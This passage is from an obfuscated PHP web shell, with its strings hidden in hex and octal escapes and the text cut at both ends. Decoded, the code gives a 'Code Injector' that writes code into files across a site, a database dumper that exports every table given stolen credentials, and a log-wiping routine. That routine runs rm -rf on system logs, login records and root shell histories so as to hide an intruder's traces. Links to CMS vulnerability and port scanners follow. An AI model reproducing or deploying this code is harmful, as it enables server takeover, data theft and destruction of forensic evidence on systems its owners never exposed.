"\x3c\x66\x6f\x72\155\x20\x6d\x65\x74\x68\x6f\144\75\x22\x70\157\x73\164\42\40\x61\x63\164\151\x6f\x6e\x3d\42\x22\76\xa\x20\x20\40\40\x20\x20\x20\x20\x3c\x63\145\x6e\x74\145\x72\x3e\12\x20\x20\40\40\40\x20\x20\40\40\40\40\x20\x20\x20\40\40\x3c\164\141\142\x6c\x65\40\141\154\151\147\x6e\75\x22\143\145\x6e\164\145\x72\x22\x3e\12\x20\40\40\x20\x20\x20\40\x20\40\40\40\40\x20\x20\40\x20\40\40\x20\x20\x3c\164\162\x3e\74\142\x72\76\xa\40\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\40\x20\x20\40\74\x74\144\x3e\104\x69\x72\145\x63\x74\x6f\162\x79\x20\x3a\40\74\x2f\x74\144\76\12\40\x20\x20\40\40\x20\x20\40\x20\40\40\x20\40\40\40\40\x20\x20\x20\x20\x20\40\40\x20\74\x74\144\76\x3c\151\x6e\160\165\x74\40\x63\x6c\141\163\163\40\75\40\x22\x66\157\x72\x6d\x2d\x63\157\x6e\x74\x72\157\x6c\42\x20\164\171\160\x65\40\75\40\42\x74\x65\170\x74\42\40\143\154\x61\163\x73\x3d\42\x62\x6f\170\42\40\x6e\141\155\145\x3d\x22\160\x61\x74\150\42\x20\166\x61\x6c\x75\x65\75\42" . getcwd() . "\x22\x20\163\151\172\145\x3d\42\65\60\x22\57\x3e\x3c\x2f\x74\144\76\xa\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\x3c\57\x74\162\76\12\x20\x20\40\40\40\40\x20\x20\x20\40\40\40\40\x20\x20\x20\40\40\40\40\x3c\x74\162\x3e\xa\40\x20\40\40\40\x20\x20\x20\40\x20\40\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\40\x3c\x74\x64\x20\143\154\x61\x73\163\x3d\42\x74\x69\x74\x6c\145\42\x3e\115\x6f\144\x65\x20\x3a\40\x3c\57\164\x64\x3e\12\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\74\164\144\76\12\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\40\x20\x20\40\40\40\40\x20\40\x3c\x73\x65\154\x65\x63\x74\40\x63\x6c\x61\163\163\x20\75\x20\42\x66\157\162\155\55\143\157\x6e\x74\x72\x6f\154\x22\40\x73\164\x79\x6c\145\75\42\x77\151\144\164\x68\x3a\x20\x31\x35\60\160\x78\73\x22\x20\x6e\x61\x6d\x65\75\x22\155\x6f\x64\x65\42\x20\143\x6c\x61\x73\x73\75\x22\142\x6f\170\42\x3e\xa\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\40\40\x20\40\x20\40\x20\40\x20\40\x20\40\40\x20\40\40\74\157\x70\164\151\x6f\156\x20\x76\141\154\x75\145\x3d\42\141\42\76\101\160\145\x6e\x64\145\x72\74\x2f\157\x70\x74\151\157\x6e\x3e\12\40\40\40\40\40\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\40\40\x20\x20\x20\40\x20\x20\40\40\40\40\40\40\x20\x3c\157\160\x74\151\x6f\156\40\x76\x61\154\165\145\75\x22\167\42\76\117\x76\x65\x72\167\162\151\x74\x65\x72\74\x2f\x6f\x70\164\x69\x6f\x6e\76\12\40\40\40\x20\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\40\x20\x20\40\40\74\x2f\163\x65\x6c\145\x63\164\x3e\xa\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x20\40\40\x20\40\x20\x20\x3c\57\x74\144\x3e\12\x20\x20\40\x20\40\40\x20\40\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\74\57\x74\162\76\12\40\40\40\40\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\74\x74\162\x3e\xa\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\40\40\x20\x20\x20\x20\74\x74\x64\40\x63\x6c\x61\163\x73\75\x22\x74\x69\x74\x6c\145\x22\x3e\106\151\x6c\145\40\116\x61\155\x65\40\x26\x20\x54\171\x70\x65\x20\72\x20\x3c\x2f\x74\144\x3e\xa\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\40\x20\40\40\x20\40\40\x3c\x74\144\40\x63\x6c\x61\x73\x73\x3d\42\x69\x6e\154\x69\x6e\145\42\76\x3c\142\x72\x3e\12\40\x20\40\40\40\40\x20\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\40\40\x20\40\x20\x20\40\x3c\x69\x6e\160\165\164\40\x63\x6c\141\163\163\40\x3d\40\42\x66\157\162\155\x2d\x63\x6f\156\x74\x72\x6f\x6c\x22\x20\164\171\160\145\75\x22\164\x65\x78\x74\x22\x20\163\x74\x79\x6c\x65\x3d\42\167\151\144\164\150\x3a\x20\61\60\60\x70\x78\x3b\42\40\x6e\x61\x6d\145\x3d\42\x6e\141\155\145\x22\40\x76\141\x6c\165\145\75\42\52\42\57\x3e\x26\x6e\x62\163\160\73\46\x6e\x62\163\x70\73\xa\40\40\40\40\40\x20\x20\x20\40\40\x20\x20\x20\40\40\40\40\40\x20\40\40\x20\x20\40\40\12\x20\x20\40\40\40\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\x20\40\40\40\40\40\x20\x20\x20\40\x20\40\x3c\x73\145\x6c\x65\x63\x74\40\143\154\141\x73\x73\x20\x3d\40\42\146\157\x72\x6d\55\x63\x6f\x6e\164\x72\157\154\x22\x20\163\164\171\154\145\x3d\x22\167\151\144\164\x68\x3a\40\61\65\60\x70\x78\73\42\40\156\141\x6d\x65\x3d\x22\x74\171\x70\145\x22\x20\x63\x6c\141\163\x73\x3d\x22\x62\x6f\170\42\76\12\x20\x20\40\x20\40\x20\40\40\40\40\40\x20\x20\40\x20\40\x20\40\40\x20\x20\40\x20\40\x20\40\40\40\x3c\x6f\160\x74\151\x6f\156\40\x76\x61\x6c\x75\x65\75\x22\x68\x74\155\154\x22\x3e\110\x54\x4d\114\74\x2f\157\160\164\x69\157\x6e\76\12\40\x20\x20\40\40\x20\40\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\x20\40\40\40\x20\40\40\40\40\x20\74\157\x70\x74\151\x6f\156\40\166\141\154\165\x65\x3d\x22\x68\x74\155\x22\x3e\x48\x54\x4d\74\57\157\x70\164\x69\157\156\x3e\12\x20\x20\40\x20\40\40\40\x20\40\40\x20\x20\x20\40\40\40\40\x20\x20\40\x20\x20\40\40\x20\40\x20\40\74\157\x70\164\x69\x6f\x6e\x20\166\141\154\165\145\75\x22\x70\x68\160\x22\40\x73\x65\154\145\143\164\x65\144\75\42\163\x65\154\x65\x63\x74\x65\144\x22\76\x50\110\120\74\x2f\157\160\164\x69\157\156\76\12\x20\40\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\40\40\40\40\40\x20\40\40\40\74\x6f\160\x74\151\157\156\x20\x76\141\x6c\165\145\75\42\x61\163\x70\42\x3e\x41\x53\x50\x3c\x2f\157\160\164\151\x6f\156\x3e\xa\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x3c\157\x70\x74\151\157\x6e\40\166\x61\154\165\x65\75\x22\141\163\160\170\42\x3e\101\x53\120\x58\74\x2f\157\160\164\x69\157\156\x3e\xa\x20\x20\40\40\x20\x20\x20\40\40\x20\40\40\x20\x20\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\x20\40\40\74\x6f\160\x74\151\x6f\x6e\40\166\x61\x6c\165\145\x3d\x22\x78\155\154\42\76\130\x4d\114\x3c\x2f\157\160\164\151\157\x6e\x3e\12\40\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\40\x20\40\x20\x20\x20\40\40\40\40\40\x20\74\x6f\160\164\x69\157\156\40\x76\x61\x6c\x75\x65\x3d\x22\164\x78\164\x22\76\x54\x58\x54\x3c\x2f\x6f\160\164\151\157\156\x3e\xa\x20\40\x20\40\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\40\40\40\40\x20\40\x20\x20\40\74\57\x73\x65\154\x65\143\164\x3e\x3c\57\164\144\76\12\40\40\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\74\x2f\164\162\x3e\xa\x20\40\x20\40\40\40\40\40\40\40\x20\40\40\x20\40\x20\x20\x20\x20\40\74\x74\x72\76\xa\x20\x20\40\x20\40\40\40\x20\40\40\40\40\40\x20\40\x20\40\40\x20\40\40\x20\x20\40\x3c\164\x64\40\143\x6c\x61\163\163\x3d\42\x74\x69\164\154\145\x22\x3e\103\157\144\x65\x20\x49\156\x6a\x65\x63\164\40\x44\145\160\164\150\40\x3a\40\74\57\164\144\76\xa\40\x20\x20\40\40\40\x20\40\40\40\x20\40\x20\40\x20\40\40\40\40\x20\40\x20\40\x20\x3c\164\x64\40\143\154\141\163\163\x3d\x22\151\x6e\x6c\151\156\x65\42\x3e\xa\40\40\x20\40\40\40\40\40\x20\40\x20\40\x20\40\x20\x20\x20\40\40\x20\40\40\40\x20\40\40\40\x20\x3c\151\x6e\160\165\x74\x20\164\x79\160\145\75\42\x63\150\145\143\x6b\142\157\170\x22\x20\156\141\x6d\x65\75\42\144\x65\160\164\150\133\135\42\x20\x76\x61\154\x75\145\x3d\x22\x30\x22\40\143\x68\145\x63\x6b\145\144\x3d\x22\x63\150\145\143\153\x65\x64\42\57\76\x26\156\142\163\x70\73\60\x26\156\142\163\x70\x3b\46\156\142\163\160\73\xa\40\40\x20\40\x20\x20\40\40\x20\x20\40\x20\40\40\40\40\x20\x20\x20\40\x20\40\40\40\40\x20\40\40\x3c\x69\x6e\x70\x75\164\40\x74\171\160\145\75\42\143\x68\145\143\153\x62\x6f\170\42\x20\156\141\x6d\x65\75\42\144\145\x70\x74\x68\133\135\42\40\x76\141\154\165\145\75\42\61\42\57\x3e\x26\156\142\163\160\73\61\46\156\x62\x73\x70\73\x26\x6e\x62\163\160\73\xa\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x3c\151\156\x70\165\164\40\x74\x79\160\x65\75\x22\x63\150\145\x63\x6b\x62\157\x78\x22\x20\x6e\x61\155\x65\x3d\42\x64\145\160\164\150\133\x5d\42\x20\166\141\154\165\145\75\42\62\42\x2f\76\46\156\x62\163\160\x3b\62\x26\156\142\163\160\73\x26\156\x62\163\160\x3b\xa\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\40\40\74\x69\156\160\165\164\40\x74\171\x70\x65\x3d\42\x63\150\145\143\x6b\x62\x6f\x78\x22\x20\x6e\141\x6d\x65\75\x22\x64\x65\160\x74\x68\133\135\42\x20\166\x61\154\x75\x65\75\x22\x33\42\x2f\x3e\46\x6e\x62\163\x70\x3b\63\12\x20\40\40\40\40\x20\40\40\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\x20\x3c\x2f\164\x64\x3e\12\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\40\40\40\40\40\x20\40\x20\x20\x3c\57\x74\162\x3e\40\x20\x20\x20\40\x20\x20\40\12\40\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\74\164\x72\76\12\40\x20\40\x20\40\40\40\40\x20\40\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\74\x74\x64\x20\x63\x6f\x6c\163\160\141\x6e\x3d\42\62\42\x3e\x3c\x74\145\x78\x74\x61\x72\x65\x61\x20\143\154\141\x73\163\x20\75\40\42\x66\157\162\x6d\55\143\157\156\164\x72\157\154\x22\x20\156\141\155\145\x3d\42\x63\x6f\144\145\x22\x20\163\x74\x79\x6c\x65\75\x20\42\167\151\144\x74\150\72\61\x30\x30\x25\x22\x3e\74\57\x74\x65\x78\x74\141\x72\145\141\76\74\57\x74\x64\x3e\12\x20\40\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\40\40\x20\x20\40\40\40\x3c\x2f\x74\162\x3e\x20\40\40\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\40\40\x20\40\40\40\x20\40\40\x20\12\x20\40\40\x20\x20\40\x20\40\x20\40\40\40\40\40\x20\40\40\40\x20\40\x3c\164\x72\76\12\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\40\x20\x20\40\40\x20\x20\40\40\74\164\x64\40\x63\157\x6c\163\160\x61\x6e\x3d\x22\x32\x22\40\163\164\x79\x6c\145\x3d\42\164\x65\x78\x74\x2d\141\154\151\x67\x6e\72\x20\x63\x65\x6e\164\145\x72\73\42\76\12\x20\40\40\40\40\40\40\40\x20\x20\40\40\x20\x20\40\x20\40\40\x20\40\40\x20\x20\40\40\40\40\x20\74\x69\x6e\x70\165\x74\x20\x74\x79\x70\x65\x3d\42\x68\x69\x64\x64\x65\156\42\40\x6e\141\155\x65\75\42\x61\42\40\x76\141\154\165\x65\75\42\x49\x6e\x6a\x65\143\164\x6f\162\42\76\xa\40\40\40\x20\40\x20\40\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\x3c\151\x6e\160\x75\164\40\x74\171\x70\145\x3d\42\x68\151\x64\144\145\156\x22\40\156\141\x6d\x65\x3d\x22\x63\x22\x20\x76\x61\154\x75\x65\75\42" . htmlspecialchars(getcwd()) . "\42\x3e\12\40\x20\40\x20\x20\40\40\40\x20\40\40\x20\x20\40\x20\40\40\x20\40\40\x20\40\x20\40\40\40\40\40\74\x69\156\x70\x75\164\40\164\171\160\145\x3d\x22\150\x69\144\x64\145\156\x22\40\x6e\x61\x6d\x65\75\42\x70\x31\x22\76\xa\x20\x20\40\40\x20\x20\x20\x20\40\x20\40\40\40\40\x20\x20\40\40\40\40\x20\40\40\40\40\40\x20\x20\x3c\x69\x6e\160\165\164\x20\x74\171\x70\x65\x3d\42\150\x69\x64\x64\145\156\x22\40\x6e\141\155\145\75\42\160\62\42\76\12\x20\40\40\40\40\40\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\40\40\x20\40\40\40\40\40\x20\x20\x20\74\x69\156\x70\165\164\x20\x74\171\x70\145\x3d\x22\x68\x69\x64\x64\145\x6e\x22\40\156\x61\x6d\145\75\42\x63\150\x61\162\163\x65\x74\42\x20\166\141\154\165\145\x3d\x22" . (isset($_POST["\x63\x68\141\x72\x73\145\164"]) ? $_POST["\143\150\141\x72\x73\145\x74"] : '') . "\x22\76\12\40\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\x20\40\x20\x20\40\x20\74\x69\x6e\x70\x75\164\40\143\154\x61\163\x73\x20\75\40\42\146\x6f\x72\x6d\55\143\157\x6e\x74\162\157\154\x22\x20\163\x74\171\154\145\x3d\42\x70\x61\144\144\151\x6e\147\x20\x3a\65\160\170\73\x20\167\x69\x64\x74\150\72\61\60\x30\x70\x78\x3b\42\x20\156\x61\x6d\x65\75\42\x73\x75\x62\x6d\x69\164\42\x20\164\171\x70\x65\75\x22\x73\x75\x62\x6d\x69\x74\42\x20\166\141\154\165\x65\x3d\42\111\x6e\152\145\x63\x74\x22\x2f\76\x3c\x2f\x74\x64\76\xa\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x3c\142\162\x3e\x3c\57\x74\x72\x3e\12\40\40\x20\40\x20\40\x20\x20\40\40\40\40\40\40\40\x20\74\57\x74\141\x62\154\145\x3e\12\x20\40\x20\40\x20\40\40\40\x3c\57\146\x6f\x72\155\76"; } echo "\74\150\162\76\74\142\162\x3e"; } elseif (isset($_GET[hex("\x64\x62\55\x64\x75\x6d\x70")])) { AutomenU($d); echo "\xa\74\x63\145\x6e\x74\145\162\x3e\x3c\150\162\76\x3c\142\162\x3e\xa\x3c\146\157\x72\155\x20\x61\143\164\151\x6f\156\x20\155\x65\164\150\157\144\75\160\x6f\x73\x74\x3e\12\74\164\x61\x62\154\x65\x20\x77\x69\x64\164\150\75\63\x37\x31\40\143\154\141\x73\x73\x3d\x74\141\x62\x6e\x65\x74\40\76\xa\x3c\x68\x32\x3e\x44\x61\164\141\x62\x61\163\x65\40\x44\x75\x6d\x70\145\162\x20\131\74\57\150\x32\76\12\74\164\x72\x3e\xa\11\x3c\164\x64\x3e\123\x65\162\166\145\x72\x20\x3c\57\x74\144\x3e\12\11\x3c\164\144\76\74\x69\x6e\x70\165\x74\40\x63\x6c\141\163\x73\x3d\x22\x66\x6f\162\155\55\x63\x6f\x6e\x74\x72\x6f\x6c\x22\x20\164\x79\160\x65\x3d\164\145\x78\x74\x20\x6e\141\x6d\x65\x3d\163\145\162\166\145\162\40\x73\151\172\145\x3d\x35\x32\x20\x61\x75\x74\x6f\x63\157\155\160\x6c\145\164\145\40\x3d\x20\42\157\146\146\42\76\x3c\x2f\164\x64\x3e\74\57\164\162\76\x3c\164\162\x3e\12\11\74\164\x64\76\x55\x73\x65\162\156\141\x6d\x65\x3c\57\x74\x64\76\xa\x9\x3c\x74\144\76\x3c\x69\x6e\x70\165\x74\40\x63\154\x61\x73\163\75\x22\146\157\x72\x6d\55\143\157\x6e\164\x72\157\x6c\x22\40\x74\x79\160\145\75\x74\x65\x78\x74\x20\156\x61\155\x65\75\165\163\145\x72\x6e\141\x6d\145\x20\163\x69\x7a\x65\75\x35\62\40\x61\165\x74\x6f\x63\157\x6d\x70\154\x65\x74\x65\40\75\40\42\157\x66\x66\x22\x3e\74\x2f\x74\144\76\x3c\x2f\164\162\x3e\74\x74\162\x3e\xa\11\74\164\x64\76\120\x61\x73\163\167\x6f\x72\x64\x3c\x2f\164\x64\76\12\x9\74\164\144\x3e\74\151\x6e\160\165\x74\x20\x63\x6c\x61\x73\163\x3d\42\146\x6f\162\x6d\x2d\143\157\156\x74\x72\x6f\x6c\x22\x20\164\x79\160\145\75\x74\145\170\164\40\156\141\x6d\145\75\x70\x61\x73\163\167\x6f\162\144\40\163\x69\172\x65\x3d\65\x32\x20\141\165\164\x6f\143\x6f\x6d\160\154\x65\x74\x65\x20\75\40\42\x6f\146\146\42\x3e\74\57\x74\144\x3e\74\x2f\x74\162\x3e\74\164\x72\76\12\x9\x3c\x74\144\76\x44\x61\x74\141\102\x61\163\x65\x20\x4e\x61\155\x65\74\x2f\x74\x64\x3e\12\11\74\x74\144\76\74\x69\156\x70\x75\x74\40\x63\x6c\141\163\163\x3d\x22\146\157\162\155\55\143\157\156\x74\x72\157\x6c\42\x20\164\x79\160\145\x3d\164\145\170\164\x20\156\141\155\145\x3d\144\142\156\141\x6d\x65\x20\163\151\x7a\x65\x3d\65\x32\x20\141\x75\x74\x6f\x63\x6f\155\160\154\145\164\145\40\x3d\x20\x22\x6f\146\x66\42\x3e\x3c\x2f\164\144\76\x3c\57\x74\x72\x3e\12\11\74\x74\x72\x3e\12\11\74\164\144\76\x44\x42\40\x54\171\x70\x65\40\74\57\164\144\76\12\11\x3c\164\144\x3e\x3c\x66\x6f\x72\x6d\x20\155\145\x74\150\x6f\144\75\160\x6f\x73\x74\x20\141\143\164\x69\157\156\x3d\x22\x22\76\12\x9\74\163\x65\154\145\143\164\40\143\154\141\163\163\x3d\x22\146\x6f\162\155\x2d\143\157\x6e\164\x72\157\154\x22\x20\x6e\x61\155\x65\75\x6d\x65\164\x68\157\144\x3e\xa\x9\11\x3c\157\x70\x74\x69\x6f\x6e\40\40\166\141\154\165\145\x3d\42\x67\172\x69\160\42\x3e\x47\x7a\151\x70\x3c\57\x6f\160\164\x69\x6f\156\76\12\11\x9\x3c\x6f\160\x74\151\x6f\x6e\40\166\141\x6c\165\x65\x3d\x22\163\161\154\42\x3e\x53\x71\x6c\x3c\x2f\x6f\160\164\x69\x6f\x6e\x3e\xa\x9\x9\74\x2f\163\x65\154\145\x63\x74\76\xa\11\x9\x3c\142\162\76\xa\11\x3c\151\x6e\x70\x75\x74\x20\143\x6c\x61\x73\x73\75\42\146\x6f\162\155\55\x63\x6f\156\x74\x72\157\154\x22\40\164\171\x70\145\75\163\x75\142\155\151\x74\x20\x76\x61\x6c\x75\145\75\x22\x20\40\x44\165\155\160\x21\40\x20\42\x20\x3e\x3c\x2f\164\144\x3e\74\x2f\x74\x72\76\12\x9\74\57\146\157\162\155\x3e\x3c\57\x63\145\156\164\x65\162\76\x3c\x2f\164\x61\x62\x6c\145\76\x3c\x2f\144\x69\166\76\74\150\162\x3e\74\x62\x72\76"; if (isset($_POST["\x75\163\145\x72\x6e\x61\155\145"]) && isset($_POST["\x64\x62\x6e\141\155\145"]) && isset($_POST["\155\145\x74\x68\157\144"])) { $date = date("\x59\x2d\155\x2d\144"); $dbserver = $_POST["\163\145\x72\x76\145\162"]; $dbuser = $_POST["\165\163\x65\x72\x6e\x61\155\x65"]; $dbpass = $_POST["\x70\141\x73\x73\167\x6f\x72\x64"]; $dbname = $_POST["\144\x62\156\x61\155\145"]; $file = "\104\165\x6d\x70\55{$dbname}\55{$date}"; $method = $_POST["\155\145\164\x68\157\144"]; if ($method == "\x73\161\x6c") { $file = "\x44\x75\x6d\x70\x2d{$dbname}\55{$date}\x2e\163\161\x6c"; $fp = fopen($file, "\x77"); } else { $file = "\104\x75\155\160\x2d{$dbname}\x2d{$date}\x2e\163\161\154\x2e\x67\x7a"; $fp = gzopen($file, "\167"); } function write($data) { global $fp; if ($_POST["\155\x65\x74\150\157\144"] == "\x73\163\161\x6c") { fwrite($fp, $data); } else { gzwrite($fp, $data); } } mysql_connect($dbserver, $dbuser, $dbpass); mysql_select_db($dbname); $tables = mysql_query("\x53\110\x4f\127\x20\124\101\102\114\105\x53"); while ($i = mysql_fetch_array($tables)) { $i = $i["\124\x61\x62\154\x65\163\137\x69\x6e\137" . $dbname]; $create = mysql_fetch_array(mysql_query("\123\110\117\127\x20\103\x52\x45\x41\x54\x45\40\x54\x41\x42\x4c\x45\x20" . $i)); write($create["\103\162\x65\141\164\x65\40\124\x61\x62\x6c\x65"] . "\73\156\156"); $sql = mysql_query("\123\x45\114\x45\103\x54\40\x2a\40\106\x52\x4f\115\x20" . $i); if (mysql_num_rows($sql)) { while ($row = mysql_fetch_row($sql)) { foreach ($row as $j => $k) { $row[$j] = "\47" . mysql_escape_string($k) . "\x27"; } write("\111\116\123\x45\x52\x54\40\111\116\x54\117\x20{$i}\x20\126\101\114\x55\x45\x53\50" . implode("\x2c", $row) . "\51\x3b\156"); } } } if ($method == "\163\x73\161\154") { fclose($fp); } else { gzclose($fp); } header("\103\x6f\x6e\x74\145\156\x74\55\x44\x69\163\160\x6f\x73\x69\164\151\x6f\156\72\x20\x61\164\164\141\x63\x68\155\145\156\x74\73\x20\146\x69\154\145\x6e\x61\155\145\x3d" . $file); header("\x43\157\156\x74\145\x6e\x74\55\124\171\x70\x65\x3a\40\141\160\160\x6c\151\143\141\164\151\x6f\x6e\x2f\x64\x6f\167\x6e\x6c\157\x61\x64"); header("\103\x6f\x6e\164\145\156\x74\55\x4c\x65\156\x67\164\150\x3a\40" . filesize($file)); flush(); $fp = fopen($file, "\162"); while (!feof($fp)) { echo fread($fp, 65536); flush(); } fclose($fp); } } elseif (isset($_GET[hex("\x64\145\x6c\x65\164\145\x2d\154\x6f\x67\163")])) { AutomenU($d); echo "\74\x62\162\76\74\x63\x65\x6e\x74\145\x72\76\74\142\76\x3c\x73\x70\141\156\76\x44\145\154\x65\x74\x65\40\x4c\157\x67\163\x20\50\40\x46\157\x72\40\x53\x61\146\x65\40\x29\x3c\57\x73\x70\141\156\76\x3c\57\x62\76\74\143\145\156\x74\145\x72\x3e\74\x62\x72\x3e"; echo "\x3c\x74\x61\x62\154\x65\40\x73\x74\171\154\145\x3d\x27\155\141\162\147\151\156\72\x20\60\40\141\x75\x74\157\x3b\47\x3e\74\x74\162\40\166\x61\154\x69\147\x6e\75\47\164\x6f\160\47\x3e\x3c\164\144\x20\141\154\x69\147\156\75\47\154\145\146\x74\x27\76"; exe("\x65\170\160\157\162\164\40\x48\x49\x53\x54\x46\x49\x4c\105\x3d\57\144\x65\166\x2f\x6e\x75\x6c\x6c"); exe("\162\155\40\x2d\x72\146\40\x2f\164\x6d\x70\57\154\157\147\163"); exe("\x72\x6d\x20\x2d\162\146\x20\57\x72\157\157\164\57\56\x6b\x73\150\137\x68\151\163\164\157\x72\x79"); exe("\x72\x6d\40\55\x72\146\x20\x2f\x72\157\x6f\164\57\56\142\x61\163\150\x5f\150\x69\x73\164\157\x72\x79"); exe("\162\x6d\x20\55\162\146\x20\57\x72\157\157\164\x2f\56\x62\x61\163\x68\x5f\154\x6f\147\x6f\x75\x74"); exe("\162\x6d\x20\x2d\x72\x66\40\57\165\163\162\x2f\x6c\157\x63\141\x6c\57\141\x70\x61\143\150\145\x2f\x6c\x6f\147\x73"); exe("\x72\155\40\x2d\x72\146\x20\x2f\x75\163\x72\x2f\x6c\x6f\143\x61\x6c\57\x61\x70\x61\143\150\145\x2f\154\x6f\x67"); exe("\162\155\x20\x2d\162\x66\x20\x65\x72\162\157\162\137\x6c\x6f\x67"); exe("\x72\x6d\x20\55\162\146\x20\x2f\x76\x61\x72\x2f\141\x70\x61\x63\150\145\57\x6c\157\x67\x73"); exe("\162\155\x20\55\x72\x66\x20\x2f\166\141\162\x2f\141\x70\x61\143\x68\x65\x2f\x6c\157\147"); exe("\162\155\x20\x2d\x72\x66\40\x2f\x76\x61\162\x2f\162\x75\156\57\x75\164\x6d\160"); exe("\x72\155\x20\x2d\162\x66\40\x2f\166\141\162\57\154\157\x67\163"); exe("\x72\x6d\x20\55\162\x66\x20\x2f\166\x61\x72\x2f\x6c\x6f\x67"); exe("\162\x6d\40\55\162\146\40\x2f\x76\x61\162\x2f\x61\x64\155"); exe("\x72\x6d\x20\55\x72\x66\40\x2f\x65\164\143\57\167\164\x6d\160"); exe("\x72\x6d\40\x2d\162\146\x20\57\x65\164\143\57\x75\x74\x6d\x70"); exe("\162\155\x20\x2d\x72\x66\x20{$HISTFILE}"); exe("\162\x6d\x20\55\x72\146\x20\57\166\141\x72\57\154\x6f\x67\57\x6c\x61\x73\x74\154\x6f\147"); exe("\x72\155\x20\55\162\146\x20\57\166\x61\x72\57\x6c\157\147\x2f\167\x74\x6d\160"); echo "\x3c\142\162\76\74\142\x72\x3e\74\160\76\131\157\x75\162\40\x54\162\141\x63\x65\x73\40\110\x61\x73\40\102\145\x65\156\40\x53\165\x63\143\145\163\x73\146\165\154\x6c\171\x20\104\x65\154\x65\164\151\x6e\147\40\56\x2e\56\106\162\157\155\40\x74\150\145\x20\x53\145\x72\166\x65\162"; echo "\x3c\57\164\144\x3e\x3c\x2f\164\x72\76\74\x2f\164\x61\142\154\x65\76"; } elseif (isset($_GET[hex("\x73\143\x61\x6e\156\x65\x72")])) { echo "\x3c\150\162\x3e\x3c\x62\x72\x3e"; echo "\74\143\145\x6e\x74\145\x72\76\74\x68\62\x3e\123\x63\x61\156\156\145\x72\40\x59\74\57\150\62\76\74\x2f\x63\x65\x6e\x74\145\162\x3e\74\x62\x72\x3e"; echo "\x3c\x66\157\x72\x6d\x20\x6d\x65\164\x68\157\x64\40\75\x20\x27\x50\x4f\123\x54\47\x3e\xa\x9\x9\x9\x9\11\x9\x3c\x63\145\x6e\x74\x65\162\x3e\12\x9\x9\11\11\11\x9\x3c\144\151\x76\40\x63\154\x61\x73\x73\x20\75\40\x27\162\x6f\x77\x20\143\154\145\141\162\x66\151\170\x27\76\12\11\x9\x9\11\x9\x9\74\144\151\166\x20\x63\x6c\141\x73\x73\x20\75\x20\47\143\157\154\x2d\155\144\x2d\63\47\76\xa\x9\x9\x9\11\11\11\74\141\40\143\x6c\x61\x73\x73\x20\x3d\40\47\146\x6f\x72\155\55\143\157\x6e\x74\162\157\154\x20\x61\x6a\x78\x27\40\150\x72\x65\146\x20\75\x20\47\77\144\x3d" . hex($d) . "\x26" . hex("\x63\155\163\166\x75\154\156") . "\47\40\163\164\x79\x6c\x65\x3d\x27\x77\151\x64\164\x68\x3a\x20\x32\x35\x30\160\x78\x3b\47\40\150\x65\x69\x67\x68\164\75\x27\61\60\47\x3e\74\143\145\156\x74\x65\x72\x3e\103\115\x53\x20\x56\x75\x6c\x6e\145\x72\x61\142\151\x6c\x69\x74\x79\x20\x53\143\141\156\x6e\145\x72\x3c\x2f\x63\145\156\164\145\x72\x3e\x3c\x2f\141\76\12\11\11\x9\11\x9\x9\x3c\57\x64\151\x76\76\12\11\x9\11\11\x9\11\74\x64\151\x76\x20\143\154\x61\x73\x73\40\x3d\40\47\x63\x6f\x6c\55\x6d\x64\55\63\x27\x3e\xa\11\x9\11\x9\x9\11\74\141\40\143\x6c\141\163\163\40\75\x20\47\x66\x6f\162\155\55\x63\157\156\164\x72\x6f\154\40\141\x6a\x78\47\x20\150\162\x65\146\40\x3d\x20\x27\77\x64\x3d" . hex($d) . "\46" . hex("\x70\157\x72\164\x2d\163\143\141\x6e\156\145\x72") . 